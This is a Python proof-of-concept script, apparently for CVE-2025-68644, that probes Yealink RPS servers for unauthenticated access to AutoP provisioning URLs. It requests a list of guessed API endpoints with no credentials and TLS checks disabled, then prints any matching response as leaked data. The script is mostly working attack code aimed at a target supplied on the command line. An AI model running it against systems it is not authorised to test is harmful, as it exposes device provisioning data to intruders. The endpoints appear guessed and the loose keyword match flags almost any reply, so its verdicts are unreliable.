CVE-2025-68644: Yealink RPS 未授权访问信息泄露漏洞

# CVE-2025-68644 PoC - Yealink RPS Unauthorized Access # Target: Yealink RPS before 2025-06-27 import requests import sys import json def check_cve_2025_68644(target_url): """ Check if target Yealink RPS is vulnerable to CVE-2025-68644 This PoC demonstrates unauthorized information disclosure """ # Common RPS API endpoints that may expose AutoP URL endpoints = [ "/api/v1/autop/server", "/api/provisioning/autop", "/rps/api/config", "/api/v1/rps/settings", "/api/v1/device/config", "/autop/url", "/api/autop" ] print(f"[*] Testing {target_url} for CVE-2025-68644") print(f"[*] Target: Yealink RPS Unauthorized Access to AutoP URL") vulnerable = False for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # No authentication headers - demonstrating the vulnerability response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: # Check if response contains sensitive information data = response.json() if response.headers.get('content-type', '').find('json') > -1 else response.text # Look for AutoP URL patterns if 'autop' in str(data).lower() or 'url' in str(data).lower() or 'server' in str(data).lower(): print(f"[+] VULNERABLE: {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {json.dumps(data, indent=2)[:500]}") vulnerable = True except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") if not vulnerable: print("[*] Target may not be vulnerable or RPS service not found") return vulnerable if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-68644.py <target_url>") print("Example: python cve-2025-68644.py https://rps.example.com") sys.exit(1) target = sys.argv[1] check_cve_2025_68644(target)